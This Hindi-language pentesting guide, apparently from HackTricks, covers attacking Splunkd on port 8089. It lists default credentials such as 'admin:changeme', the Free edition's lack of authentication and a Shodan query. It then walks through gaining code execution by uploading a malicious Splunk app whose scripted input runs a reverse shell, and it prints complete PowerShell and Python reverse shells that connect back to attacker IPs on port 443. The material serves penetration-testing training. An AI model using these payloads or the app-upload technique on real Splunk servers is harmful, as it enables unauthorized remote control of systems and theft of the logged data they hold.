119 lines
7.4 KiB
Markdown

# 8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
## **बुनियादी जानकारी**
- लॉग एनालिटिक्स टूल जिसका उपयोग डेटा संग्रह, विश्लेषण और दृश्यता के लिए किया जाता है
- सुरक्षा निगरानी और व्यावसायिक विश्लेषण में सामान्यतः उपयोग किया जाता है
- डिफ़ॉल्ट पोर्ट:
- वेब सर्वर: 8000
- Splunkd सेवा: 8089
### कमजोरियों के वेक्टर:
1. मुफ्त संस्करण शोषण
- परीक्षण संस्करण 60 दिनों के बाद स्वचालित रूप से मुफ्त संस्करण में परिवर्तित हो जाता है
- मुफ्त संस्करण में प्रमाणीकरण की कमी होती है
- प्रबंधित न किए जाने पर संभावित सुरक्षा जोखिम
- प्रशासक सुरक्षा निहितार्थों को नजरअंदाज कर सकते हैं
2. क्रेडेंशियल कमजोरियाँ
- पुराने संस्करण: डिफ़ॉल्ट क्रेडेंशियल `admin:changeme`
- नए संस्करण: स्थापना के दौरान सेट किए गए क्रेडेंशियल
- कमजोर पासवर्ड के उपयोग की संभावना (जैसे, `admin`, `Welcome`, `Password123`)
3. रिमोट कोड निष्पादन के अवसर
- कोड निष्पादन के कई तरीके:
- सर्वर-साइड Django अनुप्रयोग
- REST एंडपॉइंट
- स्क्रिप्टेड इनपुट
- अलर्टिंग स्क्रिप्ट
- क्रॉस-प्लेटफ़ॉर्म समर्थन (Windows/Linux)
- स्क्रिप्टेड इनपुट चला सकते हैं:
- बैश स्क्रिप्ट
- पावरशेल स्क्रिप्ट
- बैच स्क्रिप्ट
मुख्य शोषण क्षमता:
- संवेदनशील डेटा भंडारण
- मुफ्त संस्करण में प्रमाणीकरण की कमी
- संभावित रिमोट कोड निष्पादन के लिए कई वेक्टर
- सिस्टम समझौते के लिए स्क्रिप्टेड इनपुट का लाभ उठाने की संभावना
### Shodan
- `Splunk build`
## RCE
### कस्टम एप्लिकेशन बनाएं
Splunk कस्टम एप्लिकेशन तैनाती के माध्यम से रिमोट कोड निष्पादन के लिए एक उन्नत विधि प्रदान करता है, जो इसके क्रॉस-प्लेटफ़ॉर्म स्क्रिप्टिंग क्षमताओं का लाभ उठाता है। मुख्य शोषण तकनीक एक दुर्भावनापूर्ण एप्लिकेशन बनाने के चारों ओर घूमती है जो Windows और Linux दोनों सिस्टम पर रिवर्स शेल निष्पादित कर सकती है।
एक कस्टम एप्लिकेशन **Python, Batch, Bash, या PowerShell स्क्रिप्ट** चला सकता है। इसके अलावा, **Splunk के साथ Python स्थापित है**, इसलिए **Windows** सिस्टम में भी आप पायथन कोड चला सकेंगे।
आप [**इस**](https://github.com/0xjpuff/reverse_shell_splunk) उदाहरण का उपयोग कर सकते हैं जिसमें **`bin`** में [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) और [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) के लिए उदाहरण शामिल हैं। या आप अपना खुद का बना सकते हैं।
शोषण प्रक्रिया प्लेटफार्मों के बीच एक सुसंगत पद्धति का पालन करती है:
```
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
महत्वपूर्ण कॉन्फ़िगरेशन फ़ाइल `inputs.conf` स्क्रिप्ट को सक्षम करती है:
- `disabled = 0` सेट करना
- 10-सेकंड के निष्पादन अंतराल को कॉन्फ़िगर करना
- स्क्रिप्ट के स्रोत प्रकार को परिभाषित करना
तैनाती सीधी है:
1. दुर्भावनापूर्ण एप्लिकेशन पैकेज बनाएं
2. हमलावर मशीन पर एक श्रोता (Netcat/socat) सेट करें
3. Splunk के इंटरफ़ेस के माध्यम से एप्लिकेशन अपलोड करें
4. अपलोड के बाद स्वचालित स्क्रिप्ट निष्पादन को ट्रिगर करें
नमूना Windows PowerShell रिवर्स शेल:
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```
नमूना Linux Python रिवर्स शेल:
```python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
इस पृष्ठ पर आप यह समझ सकते हैं कि इस सेवा का दुरुपयोग कैसे किया जा सकता है ताकि विशेषाधिकार बढ़ाए जा सकें और स्थिरता प्राप्त की जा सके:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## References
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{{#include ../banners/hacktricks-training.md}}